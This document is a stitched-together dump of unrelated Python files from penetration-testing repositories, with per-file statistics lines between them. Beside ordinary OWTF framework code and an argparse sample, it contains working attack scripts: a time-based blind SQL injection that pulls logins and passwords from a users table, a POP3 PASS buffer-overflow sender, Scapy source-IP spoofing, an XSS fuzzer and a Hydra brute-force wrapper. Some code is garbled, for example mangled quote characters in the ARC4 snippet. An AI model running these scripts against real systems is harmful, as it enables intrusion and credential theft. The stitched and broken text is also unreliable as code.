EC.visibility_of_element_located((By.ID, "tfa_code_inputtext")) ) element_otp.clear() element_otp.send_keys(otp) except Exception ,ee: print "Exception : "+str(ee) browser.quit() try: element_submit_ = WebDriverWait(browser, 30).until( EC.element_to_be_clickable((By.ID, "tfa_signin_button")) ) element_submit_.click() except Exception ,ee: print "Exception : "+str(ee) browser.quit() try: WebDriverWait(browser, 30).until(EC.alert_is_present(), 'Timed out waiting for PA creation ' + 'confirmation popup to appear.') alert = browser.switch_to_alert() alert.accept() print "alert accepted" except TimeoutException: print "no alert" time.sleep(2) today=datetime.datetime.today().day rows=WebDriverWait(browser, 30).until( EC.visibility_of_element_located((By.CLASS_NAME, "fc-border-separate"))) self.processed_rows=0 self.processed_cols=0 while True: try: return_val=self.create_magic(browser,rows) if return_val ==1: print "Obtained Return Value is : 1" break else: try: browser.refresh(); rows=WebDriverWait(browser, 30).until( EC.visibility_of_element_located((By.CLASS_NAME, "fc-border-separate"))) print "Located again Lets start @@@@" except Exception ,exx: print "Unable to load the UI in 30 seconds Exiting " +str(exx) break except Exception ,ex: print "Exception Stale " +str(ex) #.navigate().refersh(); try: rows=WebDriverWait(browser, 30).until( EC.visibility_of_element_located((By.CLASS_NAME, "fc-border-separate"))) print "Located again Lets start " ret_val=self.create_magic(browser,rows) print ret_val except Exception ,exx: print "Unable to load the UI in 30 seconds Exiting " +str(exx) except Exception ,excep: print "Caught exception :"+str(excep) def create_magic(self,browser,rows): print "Processed Rows are : "+str(self.processed_rows) print "Processed Cols are :" +str(self.processed_cols) today=datetime.datetime.today().day row_count=0; col_count=0; for row in rows.find_elements_by_tag_name('tr'): if 1:#row_count >= self.processed_rows : try: print "Row found for processing \n\n" time.sleep(2); cell = row.find_elements_by_tag_name("td") print "cell found \n\n " for c in cell : try : col_text=c.text col_count=int(c.text) print "Found cell : "+str(c.text) is_other = "other-month" in c.get_attribute("class") print "Obtained Other month for element cell :"+str(c.text) +" " +str(is_other) if is_other :#and (col_count != 27 and col_count !=28): continue #fc-tue fc-widget-content fc-day2 fc-other-month except Exception ,exc: print "Exception while reading text looks gone :" +str(exc) return 0 if col_count >= self.processed_cols :#or col_count==1 : if (int(col_text)) <= 100 :#or int (c.text)==27 or int (c.text)==28 : try: print(c.text) c.click() time.sleep(3) except Exception ,eex: print "Eelemnt seems to have gone : "+str(eex) return 0 try: print "Attempting to browse elements in dialog :" dayType=Select(browser.find_element_by_name('dayType')) dayType.select_by_value("Working Day") activityType= Select(browser.find_element_by_name('activityType')) activityType.select_by_value("Offsite") timespent= Select(browser.find_element_by_name('timespent')) timespent.select_by_value("10") allocation=Select(browser.find_element_by_name('ProjectResourceId')) allocation.select_by_index(1) time_hours=Select(browser.find_element_by_id('TimeInHours')) time_hours.select_by_value("10") time_minutes=Select(browser.find_element_by_id('TimeInMinutes')) time_minutes.select_by_value("30") time_hours_out=Select(browser.find_element_by_id('TimeOutHours')) time_hours_out.select_by_value("8") time_minutes_out=Select(browser.find_element_by_id('TimeOutMinutes')) time_minutes_out.select_by_value("30") element_task=browser.find_element_by_name("task"); element_task.clear() element_task.send_keys(str(self.lines[2])) element_description=browser.find_element_by_name("description") element_description.clear() element_description.send_keys(str(self.lines[3])) element_save=browser.find_element_by_id("Save") self.processed_cols=int(c.text) element_save.click() time.sleep(3) print "Clicked and closed" except Exception ,exc: print "Exception occured Col " +str(exc) print "If Open Making Attempt To close it " try: element_close=WebDriverWait(browser, 10).until( EC.visibility_of_element_located((By.CLASS_NAME,"ui-icon.ui-icon-closethick"))) element_close.click() time.sleep(2) except Exception , ex: print "Close icon not found !! "+str(ex) #col_count=col_count+1 print "Incrementing Row count " self.processed_rows=self.processed_rows +1 row_count = row_count +1 except Exception ,exc_row: print "Exception Row : "+str(exc_row) return 0 return 1 obj=Automation() obj.automate()
34.105505
253
0.621406
Python-Penetration-Testing-for-Developers
import socket host = "192.168.0.1" #Server address port = 12345 #Port of Server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host,port)) #bind server s.listen(2) conn, addr = s.accept() print addr, "Now Connected" conn.send("Thank you for connecting") conn.close()
25.272727
53
0.708333
Tricks-Web-Penetration-Tester
import requests import time import string def req(injection): url = "url" data = {'username': injection,'password':'okay'} r = requests.post(url, data=data) return r.text def sqli(): printables = string.printable nome_db = '' while True: for char in printables: guess_db = nome_db + char injection = "' union select 1,2,if(substring((ex:select group_concat(login,password) from users limit 0,1),1,"+str(len(guess_db))+")='"+guess_db+"',sleep(3),NULL) -- -" print(guess_db) before = time.time() req(injection) later = time.time() total = later - before if (int(total) >= 3): nome_db = guess_db break '''id,login,password''' def orderby(): numbers = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20] for num in numbers: query = "' or 1=1 order by " + str(num) + ' -- -' print(num) if not 'default message' in req(query): print("Number of correct columns: " + str(num)) #orderby(); #sqli()
30.555556
181
0.525991
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
owtf
""" owtf.plugin.helper ~~~~~~~~~~~~~~~~~~ This module contains helper functions to make plugins simpler to read and write, centralising common functionality easy to reuse NOTE: This module has not been refactored since this is being deprecated """ import cgi import logging import os import re from tornado.template import Template from owtf.db.session import get_scoped_session from owtf.requester.base import requester from owtf.lib.exceptions import FrameworkAbortException, PluginAbortException from owtf.managers.config import config_handler from owtf.managers.target import target_manager from owtf.managers.url import add_url, get_urls_to_visit, import_urls from owtf.plugin.runner import runner from owtf.shell.base import shell from owtf.utils.file import FileOperations from owtf.utils.strings import multi_replace from owtf.utils.timer import timer __all__ = ["plugin_helper"] PLUGIN_OUTPUT = { "type": None, "output": None } # This will be json encoded and stored in db as string class PluginHelper(object): mNumLinesToShow = 25 def __init__(self): self.runner = runner self.requester = requester self.shell = shell self.timer = timer self.session = get_scoped_session() # Compile regular expressions only once on init: self.robots_allow_regex = re.compile("Allow: ([^\n #]+)") self.robots_disallow_regex = re.compile("Disallow: ([^\n #]+)") self.robots_sitemap = re.compile("Sitemap: ([^\n #]+)") def multi_replace(self, text, replace_dict): """ This redundant method is here so that plugins can use it :param text: Text to replace with :type text: `str` :param replace_dict: Dict to modify :type replace_dict: `dict` :return: Replaced dict :rtype: `dict` """ return multi_replace(text, replace_dict) def cmd_table(self, command): """Format the command table :param command: Command ran :type command: `str` :return: Plugin output :rtype: `list` """ plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "cmd_table" plugin_output["output"] = {"Command": command} return [plugin_output] def link_list(self, link_list_name, links): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "link_list" plugin_output["output"] = {"link_listName": link_list_name, "Links": links} return [plugin_output] def resource_linklist(self, ResourceListName, ResourceList): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "resource_linklist" plugin_output["output"] = { "ResourceListName": ResourceListName, "ResourceList": ResourceList } return ([plugin_output]) def Tabbedresource_linklist(self, ResourcesList): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "Tabbedresource_linklist" plugin_output["output"] = {"ResourcesList": ResourcesList} return ([plugin_output]) def ListPostProcessing(self, ResourceListName, link_list, HTMLlink_list): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "ListPostProcessing" plugin_output["output"] = { "ResourceListName": ResourceListName, "link_list": link_list, "HTMLlink_list": HTMLlink_list, } return ([plugin_output]) def Requestlink_list(self, ResourceListName, ResourceList, PluginInfo): link_list = [] for Name, Resource in ResourceList: Chunks = Resource.split("###POST###") URL = Chunks[0] POST = None Method = "GET" if len(Chunks) > 1: # POST Method = "POST" POST = Chunks[1] Transaction = self.requester.get_transaction(True, URL, Method, POST) if Transaction is not None and Transaction.found: RawHTML = Transaction.get_raw_response_body FilteredHTML = cgi.escape(RawHTML) NotSandboxedPath = self.runner.dump_output_file( "NOT_SANDBOXED_%s.html" % Name, FilteredHTML, PluginInfo ) logging.info( "File: NOT_SANDBOXED_%s.html saved to: %s", Name, NotSandboxedPath, ) iframe_template = Template( """ <iframe src="{{ NotSandboxedPath }}" sandbox="" security="restricted" frameborder='0' style="overflow-y:auto; overflow-x:hidden;width:100%;height:100%;" > Your browser does not support iframes </iframe> """ ) iframe = iframe_template.generate( NotSandboxedPath=NotSandboxedPath.split("/")[-1] ) SandboxedPath = self.runner.dump_output_file( "SANDBOXED_%s.html" % Name, iframe, PluginInfo ) logging.info( "File: SANDBOXED_%s.html saved to: %s", Name, SandboxedPath ) link_list.append((Name, SandboxedPath)) plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "Requestlink_list" plugin_output["output"] = { "ResourceListName": ResourceListName, "link_list": link_list } return ([plugin_output]) def VulnerabilitySearchBox(self, SearchStr): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "VulnerabilitySearchBox" plugin_output["output"] = {"SearchStr": SearchStr} return ([plugin_output]) def SuggestedCommandBox(self, PluginInfo, CommandCategoryList, Header=""): plugin_output = dict(PLUGIN_OUTPUT) PluginOutputDir = self.InitPluginOutputDir(PluginInfo) plugin_output["type"] = "SuggestedCommandBox" plugin_output["output"] = { "PluginOutputDir": PluginOutputDir, "CommandCategoryList": CommandCategoryList, "Header": Header, } return ([plugin_output]) def SetConfigPluginOutputDir(self, PluginInfo): PluginOutputDir = self.runner.get_plugin_output_dir(PluginInfo) # FULL output path for plugins to use target_manager.set_path( "plugin_output_dir", "{}/{}".format(os.getcwd(), PluginOutputDir) ) self.shell.refresh_replacements() # Get dynamic replacement, i.e. plugin-specific output directory return PluginOutputDir def InitPluginOutputDir(self, PluginInfo): PluginOutputDir = self.SetConfigPluginOutputDir(PluginInfo) FileOperations.create_missing_dirs( PluginOutputDir ) # Create output dir so that scripts can cd to it :) return PluginOutputDir def RunCommand(self, Command, PluginInfo, PluginOutputDir): FrameworkAbort = PluginAbort = False if not PluginOutputDir: PluginOutputDir = self.InitPluginOutputDir(PluginInfo) timer.start_timer("FormatCommandAndOutput") ModifiedCommand = shell.get_modified_shell_cmd(Command, PluginOutputDir) try: RawOutput = shell.shell_exec_monitor( self.session, ModifiedCommand, PluginInfo ) except PluginAbortException as PartialOutput: RawOutput = str(PartialOutput.parameter) # Save Partial Output PluginAbort = True except FrameworkAbortException as PartialOutput: RawOutput = str(PartialOutput.parameter) # Save Partial Output FrameworkAbort = True TimeStr = timer.get_elapsed_time_as_str("FormatCommandAndOutput") logging.info("Time=%s", TimeStr) out = [ ModifiedCommand, FrameworkAbort, PluginAbort, TimeStr, RawOutput, PluginOutputDir, ] return out def GetCommandOutputFileNameAndExtension(self, InputName): OutputName = InputName OutputExtension = "txt" if InputName.split(".")[-1] in ["html"]: OutputName = InputName[0:-5] OutputExtension = "html" return [OutputName, OutputExtension] def EscapeSnippet(self, Snippet, Extension): if Extension == "html": # HTML return str(Snippet) return cgi.escape(str(Snippet)) # Escape snippet to avoid breaking HTML def CommandDump( self, CommandIntro, OutputIntro, ResourceList, PluginInfo, PreviousOutput ): output_list = [] PluginOutputDir = self.InitPluginOutputDir(PluginInfo) ResourceList = sorted(ResourceList, key=lambda x: x[0] == "Extract URLs") for Name, Command in ResourceList: dump_file_name = "%s.txt" % os.path.splitext(Name)[ 0 ] # Add txt extension to avoid wrong mimetypes plugin_output = dict(PLUGIN_OUTPUT) ModifiedCommand, FrameworkAbort, PluginAbort, TimeStr, RawOutput, PluginOutputDir = self.RunCommand( Command, PluginInfo, PluginOutputDir ) plugin_output["type"] = "CommandDump" plugin_output["output"] = { "Name": self.GetCommandOutputFileNameAndExtension(Name)[0], "CommandIntro": CommandIntro, "ModifiedCommand": ModifiedCommand, "RelativeFilePath": self.runner.dump_output_file( dump_file_name, RawOutput, PluginInfo, relative_path=True ), "OutputIntro": OutputIntro, "TimeStr": TimeStr, } plugin_output = [plugin_output] # This command returns URLs for processing if Name == config_handler.get_val("EXTRACT_URLS_RESERVED_RESOURCE_NAME"): # The plugin_output output dict will be remade if the resource is of this type plugin_output = self.LogURLsFromStr(RawOutput) # TODO: Look below to handle streaming report if PluginAbort: # Pass partial output to external handler: raise PluginAbortException(PreviousOutput + plugin_output) if FrameworkAbort: raise FrameworkAbortException(PreviousOutput + plugin_output) output_list += plugin_output return output_list def LogURLsFromStr(self, RawOutput): plugin_output = dict(PLUGIN_OUTPUT) self.timer.start_timer("LogURLsFromStr") # Extract and classify URLs and store in DB URLList = import_urls(RawOutput.strip().split("\n")) NumFound = 0 VisitURLs = False # TODO: Whether or not active testing will depend on the user profile ;). Have cool ideas for profile names if True: VisitURLs = True # Visit all URLs if not in Cache for Transaction in self.requester.get_transactions( True, get_urls_to_visit() ): if Transaction is not None and Transaction.found: NumFound += 1 TimeStr = self.timer.get_elapsed_time_as_str("LogURLsFromStr") logging.info("Spider/URL scraper time=%s", TimeStr) plugin_output["type"] = "URLsFromStr" plugin_output["output"] = { "TimeStr": TimeStr, "VisitURLs": VisitURLs, "URLList": URLList, "NumFound": NumFound, } return [plugin_output] def DumpFile(self, Filename, Contents, PluginInfo, LinkName=""): save_path = self.runner.dump_output_file(Filename, Contents, PluginInfo) if not LinkName: LinkName = save_path logging.info("File: %s saved to: %s", Filename, save_path) template = Template( """ <a href="{{ Link }}" target="_blank" rel="noopener noreferrer"> {{ LinkName }} </a> """ ) return [ save_path, template.generate(LinkName=LinkName, Link="../../../{}".format(save_path)), ] def DumpFileGetLink(self, Filename, Contents, PluginInfo, LinkName=""): return self.DumpFile(Filename, Contents, PluginInfo, LinkName)[1] def AnalyseRobotsEntries( self, Contents ): # Find the entries of each kind and count them num_lines = len(Contents.split("\n")) # Total number of robots.txt entries AllowedEntries = list( set(self.robots_allow_regex.findall(Contents)) ) # list(set()) is to avoid repeated entries num_allow = len(AllowedEntries) # Number of lines that start with "Allow:" DisallowedEntries = list(set(self.robots_disallow_regex.findall(Contents))) num_disallow = len( DisallowedEntries ) # Number of lines that start with "Disallow:" SitemapEntries = list(set(self.robots_sitemap.findall(Contents))) num_sitemap = len(SitemapEntries) # Number of lines that start with "Sitemap:" RobotsFound = True if 0 == num_allow and 0 == num_disallow and 0 == num_sitemap: RobotsFound = False return [ num_lines, AllowedEntries, num_allow, DisallowedEntries, num_disallow, SitemapEntries, num_sitemap, RobotsFound, ] def ProcessRobots( self, PluginInfo, Contents, LinkStart, LinkEnd, Filename="robots.txt" ): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "Robots" num_lines, AllowedEntries, num_allow, DisallowedEntries, num_disallow, SitemapEntries, num_sitemap, NotStr = self.AnalyseRobotsEntries( Contents ) SavePath = self.runner.dump_output_file(Filename, Contents, PluginInfo, True) TopURL = target_manager.get_val("top_url") EntriesList = [] # robots.txt contains some entries, show browsable list! :) if num_disallow > 0 or num_allow > 0 or num_sitemap > 0: for Display, Entries in [ ["Disallowed Entries", DisallowedEntries], ["Allowed Entries", AllowedEntries], ["Sitemap Entries", SitemapEntries], ]: Links = [] # Initialise category-specific link list for Entry in Entries: if "Sitemap Entries" == Display: URL = Entry add_url(self.session, URL) # Store real links in the DB Links.append( [Entry, Entry] ) # Show link in defined format (passive/semi_passive) else: URL = TopURL + Entry add_url(self.session, URL) # Store real links in the DB # Show link in defined format (passive/semi_passive) Links.append([Entry, LinkStart + Entry + LinkEnd]) EntriesList.append((Display, Links)) plugin_output["output"] = { "NotStr": NotStr, "NumLines": num_lines, "NumAllow": num_allow, "NumDisallow": num_disallow, "NumSitemap": num_sitemap, "SavePath": SavePath, "EntriesList": EntriesList, } return ([plugin_output]) def TransactionTable(self, transactions_list): # Store transaction ids in the output, so that reporter can fetch transactions from db trans_ids = [] for transaction in transactions_list: trans_ids.append(transaction.GetID()) plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "TransactionTableFromIDs" plugin_output["output"] = {"TransactionIDs": trans_ids} return ([plugin_output]) def TransactionTableForURLList(self, UseCache, URLList, Method=None, Data=None): # Have to make sure that those urls are visited ;), so we # perform get transactions but don't save the transaction ids etc.. plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "TransactionTableForURLList" plugin_output["output"] = { "UseCache": UseCache, "URLList": URLList, "Method": Method, "Data": Data } return ([plugin_output]) def TransactionTableForURL(self, UseCache, URL, Method=None, Data=None): # Have to make sure that those urls are visited ;), # so we perform get transactions but don't save the transaction ids self.requester.get_transaction(UseCache, URL, method=Method, data=Data) plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "TransactionTableForURL" plugin_output["output"] = { "UseCache": UseCache, "URL": URL, "Method": Method, "Data": Data } return ([plugin_output]) def CreateMatchTables(self, Num): TableList = [] for x in range(0, Num): TableList.append(self.CreateMatchTable()) return TableList def HtmlString(self, html_string): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "HtmlString" plugin_output["output"] = {"String": html_string} return ([plugin_output]) def FindResponseHeaderMatchesForRegexpName(self, HeaderRegexpName): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "ResponseHeaderMatches" plugin_output["output"] = {"HeaderRegexpName": HeaderRegexpName} return ([plugin_output]) def FindResponseHeaderMatchesForRegexpNames(self, HeaderRegexpNamesList): Results = [] for HeaderRegexpName in HeaderRegexpNamesList: Results += self.FindResponseHeaderMatchesForRegexpName(HeaderRegexpName) return Results def FindResponseBodyMatchesForRegexpName(self, ResponseRegexpName): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "ResponseBodyMatches" plugin_output["output"] = {"ResponseRegexpName": ResponseRegexpName} return ([plugin_output]) def FindResponseBodyMatchesForRegexpNames(self, ResponseRegexpNamesList): Results = [] for ResponseRegexpName in ResponseRegexpNamesList: Results += self.FindResponseBodyMatchesForRegexpName(ResponseRegexpName) return Results def ResearchFingerprintInlog(self): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "FingerprintData" plugin_output["output"] = {} return ([plugin_output]) def FindTopTransactionsBySpeed(self, Order="Desc"): plugin_output = dict(PLUGIN_OUTPUT) plugin_output["type"] = "TopTransactionsBySpeed" plugin_output["output"] = {"Order": Order} return ([plugin_output]) plugin_helper = PluginHelper()
40.283262
143
0.595779
cybersecurity-penetration-testing
import argparse def main(args): """ The main function prints the the args input to the console. :param args: The parsed arguments namespace created by the argparse module. :return: Nothing. """ print args if __name__ == '__main__': description = 'Argparse: Command-Line Parser Sample' # Description of the Program to display with help epilog = 'Built by Preston Miller & Chapin Bryce' # Displayed after help, usually Authorship and License # Define initial information for argument parser parser = argparse.ArgumentParser(description=description, epilog=epilog) # Add arguments parser.add_argument('timezone', help='timezone to apply') # Required variable (no `-` character) parser.add_argument('--source', help='source information', required=True) # Optional argument, forced to be required parser.add_argument('-c', '--csv', help='Output to csv') # Optional argument using -c or --csv # Using actions parser.add_argument('--no-email', help='disable emails', action="store_false") # Assign `False` to value if present. parser.add_argument('--send-email', help='enable emails', action="store_true") # Assign `True` to value if present. parser.add_argument('--emails', help='email addresses to notify', action="append") # Append values for each call. i.e. --emails [email protected] --emails [email protected] parser.add_argument('-v', help='add verbosity', action='count') # Count the number of instances. i.e. -vvv # Defaults parser.add_argument('--length', default=55, type=int) parser.add_argument('--name', default='Alfred', type=str) # Handling Files parser.add_argument('input_file', type=argparse.FileType('r')) # Open specified file for reading parser.add_argument('output_file', type=argparse.FileType('w')) # Open specified file for writing # Choices parser.add_argument('--file-type', choices=['E01', 'DD/001', 'Ex01']) # Allow only specified choices # Parsing arguments into objects arguments = parser.parse_args() main(arguments)
44.2
166
0.705362
owtf
""" owtf.models.resource ~~~~~~~~~~~~~~~~~~~~ """ from sqlalchemy import Boolean, Column, Integer, String, UniqueConstraint from owtf.db.model_base import Model class Resource(Model): __tablename__ = "resources" id = Column(Integer, primary_key=True) dirty = Column(Boolean, default=False) # Dirty if user edited it. Useful while updating resource_name = Column(String) resource_type = Column(String) resource = Column(String) __table_args__ = (UniqueConstraint("resource", "resource_type", "resource_name"),)
25
92
0.675229
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-6-19 # @File : hydra_plugin.py # @Desc : "" import subprocess import threading class HydraScanner: def __init__(self, args): if '-s' in args: self.target = args[-2] + ':' + args[args.index('-s') + 1] else: self.target = args[-2] self.service = args[-1] if '-l' in args: self.username = args[args.index('-l') + 1] else: self.username = 'None' if '-p' in args: self.password = args[args.index('-p') + 1] else: self.password = 'None' self.args = args def scanner(self): msg = '[*] ' + self.target + ' ' + self.service + ' ' + self.username + ' ' + self.password print(msg) try: hydra_out = subprocess.Popen(self.args, stdout=subprocess.PIPE) output = hydra_out.stdout.read() time_out = threading.Timer(1200, hydra_out.kill) time_out.start() hydra_out.wait() time_out.cancel() if 'successfully' in output and "[" + self.service + "]" in output: result = { "target": self.target, "service": self.service, "username": self.username, "password": self.password, } return result except Exception as e: raise e def host_check(self): try: hydra_out = subprocess.Popen(self.args, stdout=subprocess.PIPE) output = hydra_out.stdout.read() time_out = threading.Timer(1200, hydra_out.kill) time_out.start() hydra_out.wait() time_out.cancel() if 'waiting for children to finish' not in output and 'completed' in output and 'password' in output: return self.target except Exception as e: raise e
30.4375
113
0.496768
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python3.5 def square(num): return num ** 2 l1=[1,2,3,4] sq=list(map(square,l1)) print(str(sq))
13
23
0.621622
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 string="A"*2606 + "B"*4 +"C"*90 if 1: print"Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.250.136',110)) data=s.recv(1024) #print str(data) s.send('USER root\r\n') data=s.recv(1024) print str(data) s.send('PASS ' + string + '\r\n') data=s.recv(1024) print str(data) print "done" #s.send('QUIT\r\n') #s.close()
18.259259
54
0.576108
Python-Penetration-Testing-Cookbook
from scapy.all import * iface = "en0" fake_ip = '192.168.1.3' destination_ip = '192.168.1.5' dns_destination ='8.8.8.8' def ping(source, destination, iface): srloop(IP(src=source,dst=destination)/ICMP(), iface=iface) def dnsQuery(source, destination, iface): sr1(IP(dst=destination,src=source)/UDP()/DNS(rd=1,qd=DNSQR(qname="example.com"))) try: print ("Starting Ping") # ping(fake_ip,destination_ip,iface) dnsQuery(fake_ip,dns_destination,iface) except KeyboardInterrupt: print("Exiting.. ") sys.exit(0)
21.541667
85
0.683333
owtf
""" PASSIVE Plugin for Testing for Application Discovery (OWASP-IG-005) """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Third party discovery resources" def run(PluginInfo): Content = plugin_helper.Tabbedresource_linklist( [ ["DNS", get_resources("PassiveAppDiscoveryDNS")], ["WHOIS", get_resources("PassiveAppDiscoveryWHOIS")], ["DB Lookups", get_resources("PassiveAppDiscoveryDbLookup")], ["Ping", get_resources("PassiveAppDiscoveryPing")], ["Traceroute", get_resources("PassiveAppDiscoveryTraceroute")], ["Misc", get_resources("PassiveAppDiscoveryMisc")], ] ) return Content
32.954545
75
0.670241
cybersecurity-penetration-testing
import requests import sys from bs4 import BeautifulSoup, SoupStrainer url = "http://127.0.0.1/xss/medium/guestbook2.php" url2 = "http://127.0.0.1/xss/medium/addguestbook2.php" url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php" f = open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.txt") o = open("results.txt", 'a') d = {} sets = [] print "Fuzzing begins!" initial = requests.get(url) for payload in f.readlines(): for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')): if field.has_attr('name'): if field['name'].lower() == "submit": d[field['name']] = "submit" else: d[field['name']] = payload sets.append(d) req = requests.post(url2, data=d) response = requests.get(url3) o.write("Payload: "+ payload +"\r\n") o.write(response.text+"\r\n") d = {} print "Fuzzing has ended"
26.636364
103
0.655324
cybersecurity-penetration-testing
from Crypto.Cipher import ARC4 key = ��.encode(�hex�) response = �� enc = ARC4.new(key) response = response.decode(�base64�) print enc.decrypt(response)
21.857143
37
0.691824
Penetration-Testing-Study-Notes
#!/usr/bin/env python ############################################################################################################### ## [Title]: reconscan.py -- a recon/enumeration script ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift ##------------------------------------------------------------------------------------------------------------- ## [Details]: ## This script is intended to be executed remotely against a list of IPs to enumerate discovered services such ## as smb, smtp, snmp, ftp and other. ##------------------------------------------------------------------------------------------------------------- ## [Warning]: ## This script comes as-is with no promise of functionality or accuracy. I strictly wrote it for personal use ## I have no plans to maintain updates, I did not write it to be efficient and in some cases you may find the ## functions may not produce the desired results so use at your own risk/discretion. I wrote this script to ## target machines in a lab environment so please only use it against systems for which you have permission!! ##------------------------------------------------------------------------------------------------------------- ## [Modification, Distribution, and Attribution]: ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original ## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's ## worth anything anyway :) ############################################################################################################### import subprocess import multiprocessing from multiprocessing import Process, Queue import os import time def multProc(targetin, scanip, port): jobs = [] p = multiprocessing.Process(target=targetin, args=(scanip,port)) jobs.append(p) p.start() return def dnsEnum(ip_address, port): print "INFO: Detected DNS on " + ip_address + ":" + port if port.strip() == "53": SCRIPT = "./dnsrecon.py %s" % (ip_address)# execute the python script subprocess.call(SCRIPT, shell=True) return def httpEnum(ip_address, port): print "INFO: Detected http on " + ip_address + ":" + port print "INFO: Performing nmap web script scan for " + ip_address + ":" + port HTTPSCAN = "nmap -sV -Pn -vv -p %s --script=http-vhosts,http-userdir-enum,http-apache-negotiation,http-backup-finder,http-config-backup,http-default-accounts,http-email-harvest,http-methods,http-method-tamper,http-passwd,http-robots.txt -oN /root/scripts/recon_enum/results/exam/%s_http.nmap %s" % (port, ip_address, ip_address) results = subprocess.check_output(HTTPSCAN, shell=True) DIRBUST = "./dirbust.py http://%s:%s %s" % (ip_address, port, ip_address) # execute the python script subprocess.call(DIRBUST, shell=True) #NIKTOSCAN = "nikto -host %s -p %s > %s._nikto" % (ip_address, port, ip_address) return def httpsEnum(ip_address, port): print "INFO: Detected https on " + ip_address + ":" + port print "INFO: Performing nmap web script scan for " + ip_address + ":" + port HTTPSCANS = "nmap -sV -Pn -vv -p %s --script=http-vhosts,http-userdir-enum,http-apache-negotiation,http-backup-finder,http-config-backup,http-default-accounts,http-email-harvest,http-methods,http-method-tamper,http-passwd,http-robots.txt -oX /root/scripts/recon_enum/results/exam/%s_https.nmap %s" % (port, ip_address, ip_address) results = subprocess.check_output(HTTPSCANS, shell=True) DIRBUST = "./dirbust.py https://%s:%s %s" % (ip_address, port, ip_address) # execute the python script subprocess.call(DIRBUST, shell=True) #NIKTOSCAN = "nikto -host %s -p %s > %s._nikto" % (ip_address, port, ip_address) return def mssqlEnum(ip_address, port): print "INFO: Detected MS-SQL on " + ip_address + ":" + port print "INFO: Performing nmap mssql script scan for " + ip_address + ":" + port MSSQLSCAN = "nmap -vv -sV -Pn -p %s --script=ms-sql-info,ms-sql-config,ms-sql-dump-hashes --script-args=mssql.instance-port=1433,smsql.username-sa,mssql.password-sa -oX results/exam/nmap/%s_mssql.xml %s" % (port, ip_address, ip_address) results = subprocess.check_output(MSSQLSCAN, shell=True) def sshEnum(ip_address, port): print "INFO: Detected SSH on " + ip_address + ":" + port SCRIPT = "./sshrecon.py %s %s" % (ip_address, port) subprocess.call(SCRIPT, shell=True) return def snmpEnum(ip_address, port): print "INFO: Detected snmp on " + ip_address + ":" + port SCRIPT = "./snmprecon.py %s" % (ip_address) subprocess.call(SCRIPT, shell=True) return def smtpEnum(ip_address, port): print "INFO: Detected smtp on " + ip_address + ":" + port if port.strip() == "25": SCRIPT = "./smtprecon.py %s" % (ip_address) subprocess.call(SCRIPT, shell=True) else: print "WARNING: SMTP detected on non-standard port, smtprecon skipped (must run manually)" return def smbEnum(ip_address, port): print "INFO: Detected SMB on " + ip_address + ":" + port if port.strip() == "445": SCRIPT = "./smbrecon.py %s 2>/dev/null" % (ip_address) subprocess.call(SCRIPT, shell=True) return def ftpEnum(ip_address, port): print "INFO: Detected ftp on " + ip_address + ":" + port SCRIPT = "./ftprecon.py %s %s" % (ip_address, port) subprocess.call(SCRIPT, shell=True) return def nmapScan(ip_address): ip_address = ip_address.strip() print "INFO: Running general TCP/UDP nmap scans for " + ip_address serv_dict = {} TCPSCAN = "nmap -vv -Pn -A -sC -sS -T 4 -p- -oN '/root/scripts/recon_enum/results/exam/%s.nmap' -oX '/root/scripts/recon_enum/results/exam/nmap/%s_nmap_scan_import.xml' %s" % (ip_address, ip_address, ip_address) UDPSCAN = "nmap -vv -Pn -A -sC -sU -T 4 --top-ports 200 -oN '/root/scripts/recon_enum/results/exam/%sU.nmap' -oX '/root/scripts/recon_enum/results/exam/nmap/%sU_nmap_scan_import.xml' %s" % (ip_address, ip_address, ip_address) results = subprocess.check_output(TCPSCAN, shell=True) udpresults = subprocess.check_output(UDPSCAN, shell=True) lines = results.split("\n") for line in lines: ports = [] line = line.strip() if ("tcp" in line) and ("open" in line) and not ("Discovered" in line): while " " in line: line = line.replace(" ", " "); linesplit= line.split(" ") service = linesplit[2] # grab the service name port = line.split(" ")[0] # grab the port/proto if service in serv_dict: ports = serv_dict[service] # if the service is already in the dict, grab the port list ports.append(port) serv_dict[service] = ports # add service to the dictionary along with the associated port(2) # go through the service dictionary to call additional targeted enumeration functions for serv in serv_dict: ports = serv_dict[serv] if (serv == "http"): for port in ports: port = port.split("/")[0] multProc(httpEnum, ip_address, port) elif (serv == "ssl/http") or ("https" in serv): for port in ports: port = port.split("/")[0] multProc(httpsEnum, ip_address, port) elif "ssh" in serv: for port in ports: port = port.split("/")[0] 